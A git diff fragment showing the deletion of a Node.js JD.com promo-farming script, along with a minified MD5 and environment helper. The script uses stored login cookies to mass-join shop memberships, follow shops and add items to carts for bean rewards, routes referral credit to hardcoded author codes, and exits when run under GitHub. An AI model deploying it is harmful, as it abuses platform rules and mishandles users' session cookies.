128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_jinggengjcq_yingle.js b/backUp/jd_jinggengjcq_yingle.js deleted file mode 100644 index f842809..0000000 --- a/backUp/jd_jinggengjcq_yingle.js +++ /dev/null @@ -1,553 +0,0 @@ - -const $ = new Env("婴乐"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -const cp = $.isNode() ? require('child_process') : ''; -let cookiesArr = [], cookie = '', message = ''; -const Base64 = require("js-base64") -let ownCode = null -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - if ($.isNode()) { - // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - authorCodeList = [ - '6AB38760E008F49D94C5B6A68CBBE738DCF554EB5667BF1BB1C8657EDC5860D449336DE54E26AA8F2834B248E6398CB7A755DF4FDAE585EC3E1ABE26F3DD3CFFC956D12974FF00A045D8E31A84FE84C18A8357DE96A1F617B8AC4D64BC24B689', - // '2C201CA940E735C84CCA2A9258023890E7457F01C676C315238BBD7B63E2108949336DE54E26AA8F2834B248E6398CB7A755DF4FDAE585EC3E1ABE26F3DD3CFFC956D12974FF00A045D8E31A84FE84C18A8357DE96A1F617B8AC4D64BC24B689', - 'B135D1B6EC0449611132AB3E5B1D44E51CA997391425A3A1B38BC79093B6435E49336DE54E26AA8F2834B248E6398CB7A755DF4FDAE585EC3E1ABE26F3DD3CFFC956D12974FF00A045D8E31A84FE84C18A8357DE96A1F617B8AC4D64BC24B689', - ] - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - $.appkey = "51B59BB805903DA4CE513D29EC448375" - $.userId = "10299171" - $.actId = "uniteOpenCard_788" - // $.authorCode = authorCodeList[random(0, authorCodeList.length)] - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - console.log('去助力 -> '+$.authorCode+'\n'); - await rush(); - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function rush() { - $.token = null; - $.buyerNick = null; - $.activityInfo = null; - await getToken(); - if ($.token) { - await task('setMixNick', { - "strTMMixNick": $.token, - "source": "01" - }) - if ($.buyerNick) { - if ($.index === 1) { - ownCode = $.buyerNick - console.log("后面的将给这个助力码助力 -> "+ownCode) - } - await task('shopList', { - "actId": $.actId - }) - await task('uniteOpenCardStats', { - "actId": $.actId, - "pushWay": 1, - "missionType": "pv", - }) - await task('loadUniteOpenCard', { - "inviteNick": $.authorCode, - "actId": $.actId - }) - if ($.activityInfo) { - if (!$.activityInfo.customer.isFocusAward) { - await task('followShop', { - "actId": $.actId, - "missionType": "collectShop", - }) - - } else { - $.log("已经完成一键关注") - } - if (!$.activityInfo.customer.isCartAward) { - await task('addCart', { - "actId": $.actId, - "missionType": "addCart", - }) - } else { - $.log("已经完成一键加购") - } - if ($.shopList) { - console.log($.shopList.length) - for (const vo of $.shopList) { - $.log(`${vo.shopTitle}`) - $.needOpen = true - if (!vo.open) { - await task('uniteOpenCardOne', { - "actId": $.actId, - "shopId": vo.userId - }) - if ($.needOpen) { - $.log("开通会员") - await getShopOpenCardInfo(vo.userId) - await bindWithVender(vo.userId) - await task('loadUniteOpenCard', { - "inviteNick": $.authorCode, - "actId": $.actId, - "shopId": vo.userId - }) - } - await $.wait(3000) - } else { - $.log("已经是会员了") - } - await $.wait(500) - } - } else { - $.log("没有成功获取到店铺信息") - } - - } else { - $.log("没有成功获取到活动信息") - } - } else { - $.log("没有成功获取到用户信息") - } - } else { - $.log("没有成功获取到用户鉴权信息") - } -} - -function task(function_id, preParams) { - body = { - "jsonRpc": "2.0", - "params": { - "commonParameter": { - "appkey": $.appkey, - "m": "POST", - "timestamp": new Date(), - "userId": $.userId - }, - "admJson": { - "method": `/openCard/${function_id}`, - "userId": $.userId, - "buyerNick": $.buyerNick ? $.buyerNick : "" - } - } - } - Object.assign(body.params.admJson, preParams) - return new Promise(resolve => { - $.post(taskUrl(function_id, body), async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - - if (data) { - data = JSON.parse(data); - if (data.success) { - if (data.data.status === 200) { - switch (function_id) { - case 'setMixNick': - $.buyerNick = data.data.data.msg - console.log("你的助力码 -> "+$.buyerNick) - break; - case 'shopList': - $.shopList = data.data.data; - break; - case 'uniteOpenCardStats': - break; - case 'uniteOpenCardOne': - console.log(` =>${data.data.data.msg}`) - $.needOpen = data.data.data.succ - break; - case 'loadUniteOpenCard': - console.log(` =>${data.data.data.isOpenCard}`) - console.log(` =>${data.data.data.msg}`) - $.activityInfo = data.data.data; - break; - case 'addCart': - case 'followShop': - if (data.data.data.succ) { - $.log(`获得【${data.data.data.msg}】京豆`) - } else { - $.log(data.data.data.msg) - } - break; - - default: - break; - } - } - } - - } else { - $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function getShopOpenCardInfo(venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify({ venderId: venderId, channel: 401 }))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent('https://jinggengjcq-isv.isvjcloud.com/fronth5')}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.interestsRuleList) { - $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function bindWithVender(venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify({ "venderId": venderId, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "channel": 401 }))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent('https://jinggengjcq-isv.isvjcloud.com/fronth5')}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.giftInfo) { - if (res.result.giftInfo.giftList) { - for (const vo of res.result.giftInfo.giftList) { - $.log(vo.name) - if (vo.prizeType === 4) { - $.log(`==>获得【${vo.quantity}】京豆`) - $.bean += vo.quantity - } - } - } - - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function taskUrl(function_id, body) { - return { - url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/openCard/${function_id}?open_id=&mix_nick=${$.buyerNick ? $.buyerNick : ""}&bizExtString=${$.authorCode ? Base64.toBase64(`shareNick:${$.authorCode}`) : ""}&user_id=${$.userId}`, - headers: { - Host: 'jinggengjcq-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/json; charset=utf-8', - Origin: 'https://jinggengjcq-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: 'https://jinggengjcq-isv.isvjcloud.com/fronth5/', - Cookie: cookie - }, - body: JSON.stringify(body) - - } -} - -function getMyPing() { - let opt = { - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - headers: { - Host: 'lzdz1-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (data) { - data = JSON.parse(data) - if (data.result) { - $.log(`你好:${data.data.nickname}`) - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` - } else { - $.log(data.errorMessage) - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - - }) - }) -} -function getFirstLZCK() { - return new Promise(resolve => { - $.get({ url: $.activityUrl }, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return 